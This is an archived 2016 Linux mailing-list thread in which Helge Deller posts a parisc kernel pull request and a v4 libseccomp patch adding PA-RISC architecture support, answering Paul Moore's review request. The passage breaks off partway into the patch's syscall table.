         :from:to:cc:x-original-sender:x-original-authentication-results
         :precedence:mailing-list:list-id:x-spam-checked-in-group:list-post
         :list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=eHlTTkxLekJNH3gpVj0S1ggEpQusMCUTUlyAnbG4LCM=;
        b=hxB99wv4LmHvO58LboX1XMC7TAw4oYUekPTNEnS4yk+L6q/cE/qmcMrEJ+rT0XHL8g
         Y9c3gg4EyP0cNhEsesSFSv0M25jF2LAEipDCl083Qmq2BR/j8xXRk59NZXdHFnZFytb2
         6I8vIM6AjYQKCbUmmCHA/YkGBSGk/nbTkkMec6VNo4EKfB0S/HSR+fVKO3E5nlm8n8eN
         5ikURJfEG61PTaiRxoOsPaOyr5YwZx2XNbAsQIPIsyvSISlxfiRjfyJgZTIaO8e49I5V
         FqAGHBpR8k+NolxrX+BmPIbRxqMBs44RWf6aCYDIc/3wOgZI7UqZ/y4KbblcAaUuvvrN
         m/2g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=eHlTTkxLekJNH3gpVj0S1ggEpQusMCUTUlyAnbG4LCM=;
        b=R+ZzA2MDxYOkItJQDuUG/LcDKqAK+wbBImqGt7NcjCpewYz84Hsu93NyayPiCw2wol
         AFgTvqxQYcHg8aQgoE60DkD1d4H59BgFdG2txfjAJMOlaxnDW7us4ws4zKj5w68CwZFW
         RXsvo2tqVuBYbj945JIRKh3vbvNW45qccazr8t1KN7TMVI7DI0G6JyWui1PS0NmVsb5O
         6Csxuugg4IXajstepNVJgMa/+2ni8f4PB9b+ZnVQrwQs5X8PQ4TT4wTlBbLqPgFB06il
         5eRxD13i6tbJK40+ksSONcU8jn5ZKKEVFpBWkB6ZqmbtMh3ACrVIRyzaeeoQwfigZI1U
         IVhQ==
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: ALyK8tJRiO7NO03YGL81jdv3d560SpvomGtFdcfgbfrLe3pYA0pkYEGNMcVOhzSinC9w4Q==
X-Received: by 10.36.196.5 with SMTP id v5mr12023itf.4.1464116973714;
        Tue, 24 May 2016 12:09:33 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.107.14.212 with SMTP id 203ls283708ioo.11.gmail; Tue, 24 May
 2016 12:09:33 -0700 (PDT)
X-Received: by 10.66.153.203 with SMTP id vi11mr4117176pab.24.1464116973440;
        Tue, 24 May 2016 12:09:33 -0700 (PDT)
Original-Received: from mail-oi0-f45.google.com (mail-oi0-f45.google.com. [209.85.218.45])
        by gmr-mx.google.com with ESMTPS id f206si636306ita.0.2016.05.24.12.09.33
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 24 May 2016 12:09:33 -0700 (PDT)
Received-SPF: pass (google.com: domain of pmoore@redhat.com designates 209.85.218.45 as permitted sender) client-ip=209.85.218.45;
Original-Received: by mail-oi0-f45.google.com with SMTP id j1so42488604oih.3
        for <libseccomp@googlegroups.com>; Tue, 24 May 2016 12:09:33 -0700 (PDT)
X-Received: by 10.157.37.8 with SMTP id k8mr3477055otb.115.1464116973127; Tue,
 24 May 2016 12:09:33 -0700 (PDT)
Original-Received: by 10.182.233.164 with HTTP; Tue, 24 May 2016 12:09:33 -0700 (PDT)
In-Reply-To: <57251ABF.4080201@gmx.de>
X-Original-Sender: pmoore@redhat.com
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of pmoore@redhat.com designates 209.85.218.45 as
 permitted sender) smtp.mailfrom=pmoore@redhat.com
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1365 gmane.linux.ports.parisc:26782
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1365>

On Sat, Apr 30, 2016 at 4:51 PM, Helge Deller <deller@gmx.de> wrote:
> Hi Paul,
>
> On 15.04.2016 17:11, Helge Deller wrote:
>> This patch (v3) adds support for the parisc and parisc64 architectures
>> to libseccomp.
>
> Linux kernel 4.5.2-1 with full seccomp support for parisc/hppa is
> now publically available in debian:
> https://buildd.debian.org/status/package.php?p=linux&suite=sid
>
> Any chance to get this patch (v3) applied to the libseccomp git tree now ?

Hi Helge,

I apologize for the delay, but I finally got around to merging your
code and noticed a problem: you're missing the parisc enablement code
in src/arch-syscall-check.c which has hidden a number of issues with
the parsic{64} syscall table (run 'make check').  Could you add the
missing code to arch-syscall-check.c and update the syscall table?

Thanks,
-Paul

>> I didn't split up the patch, because it's pretty trivial.
>> Those parisc-specific files gets added:
>>  src/arch-parisc-syscalls.c
>>  src/arch-parisc.c
>>  src/arch-parisc.h
>>  src/arch-parisc64.c
>>
>> All other changes are trivial because they simply add parisc-specific
>> case statements in variouse switch statements.
>>
>> I did ran a "make check" on parisc and all testcases suceeded.
>> All live testcases succeed as well when running "./regression -T live".
>>
>> The patch applies cleanly to current libseccomp git head.
>>
>> Changes between v2 and v1 of this patch:
>> - Enabled seccomp mode 2 regression tests on parisc. Kernel support for hppa
>>   was added in kernel 4.6-rc1 and backported into the kernel v4.5.2 stable
>>   series.
>>
>> Changes between v3 and v2 of this patch:
>> - Stipped out patch which reports if a check was skipped because valgrind
>>   isn't installed.
>> - Added tuxcall pseudo syscall for 19-sim-missing_syscalls testcase
>> - Added sysmips pseudo syscall for 29-sim-pseudo_syscall testcase
>>
>> Thanks,
>> Helge
>>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diffstat:
>>  include/seccomp.h.in              |    6
>>  src/Makefile.am                   |    2
>>  src/arch-parisc-syscalls.c        |  424 ++++++++++++++++++++++++++++++++++++++
>>  src/arch-parisc.c                 |   22 +
>>  src/arch-parisc.h                 |   38 +++
>>  src/arch-parisc64.c               |   22 +
>>  src/arch-syscall-dump.c           |    5
>>  src/arch.c                        |   13 +
>>  src/gen_pfc.c                     |    4
>>  src/python/libseccomp.pxd         |    2
>>  src/python/seccomp.pyx            |    8
>>  tests/26-sim-arch_all_be_basic.c  |    6
>>  tests/26-sim-arch_all_be_basic.py |    2
>>  tests/regression                  |    3
>>  tools/scmp_arch_detect.c          |    6
>>  tools/scmp_bpf_sim.c              |    4
>>  tools/util.c                      |    4
>>  17 files changed, 570 insertions(+), 1 deletion(-)

-- 
paul moore
security @ redhat

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for 4.7-rc1
Date: Wed, 25 May 2016 16:44:12 +0200
Lines: 69
Approved: news@gmane.org
Message-ID: <20160525144412.GA1486@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1464187480 24446 80.91.229.3 (25 May 2016 14:44:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 May 2016 14:44:40 +0000 (UTC)
Cc: Paul Moore <pmoore@redhat.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed May 25 16:44:34 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1b5a2z-0004hD-8B
	for glpp-linux-parisc@plane.gmane.org; Wed, 25 May 2016 16:44:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751022AbcEYOob (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 25 May 2016 10:44:31 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:54739 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750738AbcEYOob (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 25 May 2016 10:44:31 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx002) with ESMTPSA (Nemesis) id 0MEnX8-1bLT22225C-00G0Ip; Wed, 25 May
 2016 16:44:16 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:ib4JSjQ+ZJEpiJKmupZJscIxphahP4J/Oo6+NEI0EN3cx5LUgAv
 knmpKnJPZCTfk8BkdhFVMcYN7R1lzJnx0IhNIzKLrzOthW8eWiDYa++9o5VnDXuFOhzKcwa
 +YbYPP9foiqapedE9pfJ85JEOCnwsBARAt6ZCE7RYB4u0A2mQpwHHqqBKqmz59q2Zr6Ynk/
 +G0yW6+/hug0k8YH0GNsg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JnMHZRHX+3k=:Il24Zg6yvRhPZDPto2ZJCR
 G4VCHTsk//XqbnOFvWRpsdxtiVff3Wrkwctvtplsf9/VpAJFrdqnrRDs9guj7zpMajXe3Lr9W
 YlhDe2Gth11w5xmmt8lVlZRYWlVm6lj/Hwu2Qt63y57mgLaK18u3PY/Sp2k1dyx5yiw6foDvr
 Tti44Rk5to4slgLhFnHMhGhskbjCvDJCsKvq+2mKofboyGE75IbRgQ6noNr6wdQgzstU0EVxA
 2oDxPAMjCnBJshRWKEt2jOxnPvte/FrHqHCTx9Td0KIZ026q3SG5G7nz0/rK3tF5ELQ1P4u7f
 ImUWJVkjqP/WrI77lfAYp23X/MsEoHYf2pWYwe+slzMO+PuyYRqIT8nc9hkpjFMV56hqQzvOi
 1UTPWBrqKbcaekCai3AVEYQMkjbM5o8WhsyBTowlgY666xdLt490/NQUf3EQ17nqd/sCZH7xn
 /k3l9eq/vSmGcvfFNmIaOFDQGZADRmCaUhwMpfUvhPOdSFZs6mDcKolm9Y7zZUjAWCNnG/TWF
 2R5oRr2AiCMs9FO4HIY7KKtcD8mM0FsDcWR7RwKcHiw/55VOHJWcj+VRPgJhFFsURjv72lbsJ
 PqK0dqiTPetr5kXZQK/9MorGkJ0/Kqzl2dFrbcthocR5VxBskFLqj92kNkGZbtopYiOSoEmdc
 2vsbUle/juRhDxtP+ReoRgNTqi6QNS1GuGgMYygRGJ++zF/pxR+90q/r0dc87VeoMWGA/lUHv
 +66yyNTwIarItWj4TBU2UnpyPydiMfcNT23h3qECaXA2JDfSv9Hfyw/Nxdo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26783 gmane.linux.kernel:2227840
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26783>

Hi Linus,

Please pull the parisc architecture patches for the kernel 4.7 merge window from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.7-1

Changes in this patch set:

- Add native high-resolution timing code for sched_clock() and other timing
  functions based on the processor internal cr16 cycle counters
- Add syscall tracepoint support
- Add regset support
- Speed up get_user() and put_user() functions
- Updated futex.h to match generic implementation - by John David Anglin
- A few smaller ftrace build fixes
- Fixed thuge-gen kernel self test to utilize architectured MAP_HUGETLB value
- Added parisc architecture to seccomp_bpf kernel self test
- Various typo fixes - by Andrea Gelmini

Thanks,
Helge

----------------------------------------------------------------
Andrea Gelmini (4):
      parisc: Fix typo in pdc.h
      parisc: Fix typo in ldcw.h
      parisc: Fix typos in eisa_eeprom.h
      parisc: Fix typo in fpudispatch.c

Helge Deller (9):
      parisc: Add syscall tracepoint support
      parisc: Simplify and speed up get_user() and put_user()
      parisc: Add 64bit get_user() and put_user() for 32bit kernel
      parisc: Add ARCH_TRACEHOOK and regset support
      parisc: Add native high-resolution sched_clock() implementation
      selftests/thuge-gen: Use platform specific MAP_HUGETLB value
      parisc: Merge ftrace C-helper and assembler functions into .text.hot section
      parisc: Use long jump to reach ftrace_return_to_handler()
      parisc: Whitespace cleanups in unistd.h

John David Anglin (1):
      parisc: Update futex.h to match generic implementation

 arch/parisc/Kconfig                           |   3 +
 arch/parisc/include/asm/cmpxchg.h             |   9 +-
 arch/parisc/include/asm/eisa_eeprom.h         |   4 +-
 arch/parisc/include/asm/ftrace.h              |   2 +
 arch/parisc/include/asm/futex.h               |  70 ++---
 arch/parisc/include/asm/ldcw.h                |   2 +-
 arch/parisc/include/asm/syscall.h             |   9 +
 arch/parisc/include/asm/thread_info.h         |   4 +-
 arch/parisc/include/asm/uaccess.h             |  91 +++----
 arch/parisc/include/uapi/asm/pdc.h            |   2 +-
 arch/parisc/include/uapi/asm/ptrace.h         |  48 ++++
 arch/parisc/include/uapi/asm/unistd.h         |  34 ++-
 arch/parisc/kernel/entry.S                    |  13 +-
 arch/parisc/kernel/ftrace.c                   |   7 +-
 arch/parisc/kernel/ptrace.c                   | 368 +++++++++++++++++++++++++-
 arch/parisc/kernel/syscall.S                  |   1 +
 arch/parisc/kernel/time.c                     |  63 ++++-
 arch/parisc/lib/bitops.c                      |   6 +-
 arch/parisc/math-emu/fpudispatch.c            |   2 +-
 tools/testing/selftests/seccomp/seccomp_bpf.c |   8 +-
 tools/testing/selftests/vm/thuge-gen.c        |   2 +
 21 files changed, 610 insertions(+), 138 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.comp.lib.libseccomp.general,gmane.linux.ports.parisc
Subject: Re: Re: [PATCH] libseccomp: Add parisc architecture
 support (v4)
Date: Wed, 25 May 2016 16:53:39 +0200
Lines: 1020
Approved: news@gmane.org
Message-ID: <20160525145339.GA3391@ls3530.dhcp.wdf.sap.corp>
References: <20160213200731.GA18161@ls3530.box>
 <3673666.V2ZqGazvLY@sifl>
 <56C24911.8000200@gmx.de>
 <1907254.cBdVSxntFv@sifl>
 <20160409070549.GA5442@ls3530.box>
 <CAHC9VhSseu8kLg0W+Ee0bnOiPSKHfGq-zsq-xmrOfMFozohmZA@mail.gmail.com>
 <571103AD.20500@gmx.de>
 <20160415151103.GB11180@ls3530.dhcp.wdf.sap.corp>
 <57251ABF.4080201@gmx.de>
 <CAGH-Kgt=P7wkmBShe5bQ2b=mjQsGAPFfB9fEMxRFT6GTZyu32w@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464188040 1470 80.91.229.3 (25 May 2016 14:54:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 25 May 2016 14:54:00 +0000 (UTC)
Cc: libseccomp@googlegroups.com
To: Paul Moore <pmoore@redhat.com>, linux-parisc@vger.kernel.org
Original-X-From: libseccomp+bncBC23VB5X54DBB57YS25AKGQEM3FUGFQ@googlegroups.com Wed May 25 16:53:49 2016
Return-path: <libseccomp+bncBC23VB5X54DBB57YS25AKGQEM3FUGFQ@googlegroups.com>
Envelope-to: gcllg-libseccomp-discuss-2@m.gmane.org
Original-Received: from mail-lb0-f188.google.com ([209.85.217.188])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <libseccomp+bncBC23VB5X54DBB57YS25AKGQEM3FUGFQ@googlegroups.com>)
	id 1b5aBs-0008Dh-IL
	for gcllg-libseccomp-discuss-2@m.gmane.org; Wed, 25 May 2016 16:53:44 +0200
Original-Received: by mail-lb0-f188.google.com with SMTP id dj16sf9812889lbb.0
        for <gcllg-libseccomp-discuss-2@m.gmane.org>; Wed, 25 May 2016 07:53:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=CxWS2svfvKWqHSHZXvB7rpPUiScFYtrehFpeTuQC5Jk=;
        b=wHjmBZuhaB6okJVdFEmibwAB7wVo2PlPgfk38Fc4KMVVVmiCbx3y0f1tJEP7AwRX6J
         /mkLoqdcMSMnvGjYBriuCYg1O8P0BBTAntSDT87mQ+r7u/lTrLQym+adtj8ke+FsWQC3
         97Y36Tsxro6Q/y2G5xXRGR+jCybHwr9BBm8888bsd3GMqhalZZNb1O5kNn5mj7vIZ8Nc
         rfbVYoZ3zeY+6z/djSIckN56KPiiKSzpDcABzD7LrIgK76B1g0lmQxn8Tdflj0U7Fb0P
         TTm0wnOLUeex8HHXBH8nmC4DodeFmNNUCqH7hM42HFHUU8b+nW5Hhfqc3WvefwM5P50J
         4shA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent
         :x-original-sender:x-original-authentication-results:precedence
         :mailing-list:list-id:x-spam-checked-in-group:list-post:list-help
         :list-archive:list-subscribe:list-unsubscribe;
        bh=CxWS2svfvKWqHSHZXvB7rpPUiScFYtrehFpeTuQC5Jk=;
        b=SZnMjQ21poBRMM8lllvZGNmsfNbe+enUCpJ8DHZKqQ3y4oCWJOC19iSCYPy6PbTb6w
         Jb4wj8pQm15heipFCvNe0USBkU0v+4/am07cWKnppuDLBXuwknRNYr+mCYbiNVcyLbwx
         UpjNsmUONzDRPEHgBQKon/AiPs2MLs3IvwtCPztJMcmCgB8Cs/KjdRcd1gTlPn946DD8
         zscHlpIXgUizHgNf9Pxme/2gOTuQmHCXvp/QTBXSzMhE0lRNKwtOjoTUTL9jHJF3hyF4
         sdJXbzXeGDt3tqm7KajC6hT0l+SnAdoExjAx7NcpXCsx6jh/aJyboCDsreXFCn9zjt/S
       
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: ALyK8tL4KXw4DX5s+UhaV5Lt1DxhcqranfV7YPSn6vu91fd+kW6EyyAIqO57ImkZFVynsw==
X-Received: by 10.25.214.98 with SMTP id n95mr55837lfg.20.1464188023446;
        Wed, 25 May 2016 07:53:43 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.25.80.11 with SMTP id e11ls235296lfb.24.gmail; Wed, 25 May
 2016 07:53:43 -0700 (PDT)
X-Received: by 10.25.15.198 with SMTP id 67mr509613lfp.1.1464188023024;
        Wed, 25 May 2016 07:53:43 -0700 (PDT)
Original-Received: from mout.gmx.net (mout.gmx.net. [212.227.15.18])
        by gmr-mx.google.com with ESMTPS id x203si535425wme.0.2016.05.25.07.53.42
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Wed, 25 May 2016 07:53:42 -0700 (PDT)
Received-SPF: pass (google.com: domain of deller@gmx.de designates 212.227.15.18 as permitted sender) client-ip=212.227.15.18;
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx001) with ESMTPSA (Nemesis) id 0Mb8MV-1aqWPn3Y7f-00KhPT; Wed, 25 May
 2016 16:53:40 +0200
Content-Disposition: inline
In-Reply-To: <CAGH-Kgt=P7wkmBShe5bQ2b=mjQsGAPFfB9fEMxRFT6GTZyu32w@mail.gmail.com>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:aGh1sW8UN15iirjrORGCKgXnpKjvwMGS9298D8W/FWgPw5y61Ok
 SeDJMw97LTd81EI5lXgrH50YxAUDncJiilQcf5xyr2ihiB8Se/dNA0E5c8icmYhr/EEVOmJ
 KvPLOfKKMSFCJ0GfNk8Qwzkm8OopJNuJL78Do2otREWgP7ygFBiQnnEpuJrGcvlAaJHbEBs
 3XP9Zxx8+vnwC+3EPxHrA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:/y5NFwn3u+k=:s1v7Bk916Jimb9X8N76s0P
 zh85UCYIJ/JmcZyTjgnyZOz1nhDs0PtXW3Zsj4nnSpR7Pke09NJvzPzvoAtw8phgXkPFtjte7
 q+vPsmFSdY6IASWQQgCSWAEeX9xP8ZIAwSrxeDaN1eviuEHCQewz8Q9PQt0xYDrDl9siupiHC
 kz7CJn9uXQMY6lKC6E/mMoGOroy1F17tZdFG3wk1auYTxT4LI5JR/DG3oass9DIxNEKjP8SsG
 4nZWaOUjKfUIHmyczaJj5MLo96S6kJHnuALOe3EeMS1MITOKjZzKhpF+VZ29By+/EQCWZB4EF
 V9rlMqOg3Nl3wLRYLPzskucr/8bIZwUWQFhRjZdIFwyDTq1rZPy+k4Hl7eGooJDV5OLVNzXA/
 Hdau6yubyuYkTqJYmZAU6pPAOf6kGwcxu+XiUsxT4C8CKP+k4FRXFb8JlXKHfZ3reboSxCMBf
 aEKI+MzCtKgsLQ19msYMMzboId3eoveaDETuQLiM1WbnXmTiGo40CE02hJIwB8TS1nslnK6VK
 0YlwNehWT/I1kMqjz10XOb+MfMtACxfWWDLkRjOzAclo70Ca3RIt9rDCi938fO6zFx1nkbu6/
 J7/LYEc4S8lHnivRq2F8ZVA6BX2m8ky05dA/VC0k4KwaMLy7F0w5eSDL0KshWqtFJuLJFMcSx
 97sqojXNvKxoaotulUwVCi3lTCOtQP3onvLWwkmV6IhdqU5OMrx9i2VIJ4XVC5vII7cJBbVbo
 rjHwaPwPxuecPKHz5IpdWOy7wUKO/kNOWXo7hM3QaIoCxjxsI7XeAQNl3Zg=
X-Original-Sender: deller@gmx.de
X-Original-Authentication-Results: gmr-mx.google.com;       spf=pass
 (google.com: domain of deller@gmx.de designates 212.227.15.18 as permitted
 sender) smtp.mailfrom=deller@gmx.de
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1367 gmane.linux.ports.parisc:26784
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1367>

* Paul Moore <pmoore@redhat.com>:
> On Sat, Apr 30, 2016 at 4:51 PM, Helge Deller <deller@gmx.de> wrote:
> > On 15.04.2016 17:11, Helge Deller wrote:
> >> This patch (v3) adds support for the parisc and parisc64 architectures
> >> to libseccomp.
> >
> > Linux kernel 4.5.2-1 with full seccomp support for parisc/hppa is
> > now publically available in debian:
> > https://buildd.debian.org/status/package.php?p=linux&suite=sid
> >
> > Any chance to get this patch (v3) applied to the libseccomp git tree now ?
> 
> Hi Helge,
> 
> I apologize for the delay, but I finally got around to merging your
> code and noticed a problem: you're missing the parisc enablement code
> in src/arch-syscall-check.c which has hidden a number of issues with
> the parsic{64} syscall table (run 'make check').  Could you add the
> missing code to arch-syscall-check.c and update the syscall table?

Indeed. I missed that.
Below is the updated patch (v4) which addresses this issue.

It survived all "make check" tests on x64_64 and parisc, as well as the
live regression tests on parisc.

Thanks,
Helge

xxxxxxxxxxxxxxxxxxxxxxxxxxxxx

This patch (v4) adds support for the parisc and parisc64 architectures
to libseccomp.

I didn't split up the patch, because it's pretty trivial.
Those parisc-specific files gets added:
 src/arch-parisc-syscalls.c
 src/arch-parisc.c
 src/arch-parisc.h
 src/arch-parisc64.c

All other changes are trivial because they simply add parisc-specific
case statements in variouse switch statements.

I did ran a "make check" on x86-64 and parisc and all testcases succeeded.
All live testcases succeed as well when running "./regression -T live".

The patch applies cleanly to current libseccomp git head.

Changes between v4 and v3 of this patch:
- Added parisc arch to arch-syscall-check.c and fixup syscall table as
  needed
- Fixed copyright notices in parisc files as suggested by Mike Frysinger

Changes between v3 and v2 of this patch:
- Stripped out patch which reports if a check was skipped because
  valgrind isn't installed.
- Added tuxcall pseudo syscall for 19-sim-missing_syscalls testcase
- Added sysmips pseudo syscall for 29-sim-pseudo_syscall testcase

Changes between v2 and v1 of this patch:
- Enabled seccomp mode 2 regression tests on parisc. Kernel support for
  hppa was added in kernel 4.6-rc1 and backported into the kernel v4.5.2
  stable series.

Thanks,
Helge

Signed-off-by: Helge Deller <deller@gmx.de>



diffstat:
 include/seccomp.h.in              |    6 
 src/Makefile.am                   |    2 
 src/arch-parisc-syscalls.c        |  499 ++++++++++++++++++++++++++++++++++++++
 src/arch-parisc.c                 |   22 +
 src/arch-parisc.h                 |   38 ++
 src/arch-parisc64.c               |   22 +
 src/arch-syscall-check.c          |   11 
 src/arch-syscall-dump.c           |    5 
 src/arch.c                        |   13 
 src/gen_pfc.c                     |    4 
 src/python/libseccomp.pxd         |    2 
 src/python/seccomp.pyx            |    8 
 tests/26-sim-arch_all_be_basic.c  |    6 
 tests/26-sim-arch_all_be_basic.py |    2 
 tests/regression                  |    3 
 tools/scmp_arch_detect.c          |    6 
 tools/scmp_bpf_sim.c              |    4 
 tools/util.c                      |    4 
 18 files changed, 656 insertions(+), 1 deletion(-)


diff --git a/include/seccomp.h.in b/include/seccomp.h.in
index 6bf6751..5b9057f 100644
--- a/include/seccomp.h.in
+++ b/include/seccomp.h.in
@@ -185,6 +185,12 @@ struct scmp_arg_cmp {
 #define SCMP_ARCH_S390X		AUDIT_ARCH_S390X
 
 /**
+ * The PA-RISC hppa architecture tokens
+ */
+#define SCMP_ARCH_PARISC	AUDIT_ARCH_PARISC
+#define SCMP_ARCH_PARISC64	AUDIT_ARCH_PARISC64
+
+/**
  * Convert a syscall name into the associated syscall number
  * @param x the syscall name
  */
diff --git a/src/Makefile.am b/src/Makefile.am
index c2d805e..dcc79d9 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -35,6 +35,8 @@ SOURCES_ALL = \
 	arch-mips.h arch-mips.c arch-mips-syscalls.c \
 	arch-mips64.h arch-mips64.c arch-mips64-syscalls.c \
 	arch-mips64n32.h arch-mips64n32.c arch-mips64n32-syscalls.c \
+	arch-parisc.h arch-parisc.c arch-parisc-syscalls.c \
+	arch-parisc64.h arch-parisc64.c \
 	arch-ppc.h arch-ppc.c arch-ppc-syscalls.c \
 	arch-ppc64.h arch-ppc64.c arch-ppc64-syscalls.c \
 	arch-s390.h arch-s390.c arch-s390-syscalls.c \
diff --git a/src/arch-parisc-syscalls.c b/src/arch-parisc-syscalls.c
new file mode 100644
index 0000000..2827bb5
--- /dev/null
+++ b/src/arch-parisc-syscalls.c
@@ -0,0 +1,499 @@
+/*
+ * Copyright (c) 2016 Helge Deller <deller@gmx.de>
+ * Author: Helge Deller <deller@gmx.de>
+ */
+
+#include <string.h>
+
+#include <seccomp.h>
+
+#include "arch.h"
+#include "arch-parisc.h"
+
+/* NOTE: based on Linux 4.5-rc4 */
+const struct arch_syscall_def parisc_syscall_table[] = { \
+	{ "_llseek",	140 },
+	{ "_newselect",	142 },
+	{ "_sysctl",	149 },
+	{ "accept",	35 },
+	{ "accept4",	320 },
+	{ "access",	33 },
+	{ "acct",	51 },
+	{ "add_key",	264 },
+	{ "adjtimex",	124 },
+	{ "afs_syscall",137 },
+	{ "alarm",	27 },
+	{ "arm_fadvise64_64", __PNR_arm_fadvise64_64 },
+	{ "arm_sync_file_range", __PNR_arm_sync_file_range },
+	{ "arch_prctl", __PNR_arch_prctl },
+	{ "bdflush",	134 },
+	{ "bind",	22 },
+	{ "bpf",	341 },
+	{ "break",	__PNR_break },
+	{ "breakpoint", __PNR_breakpoint },
+	{ "brk",	45 },
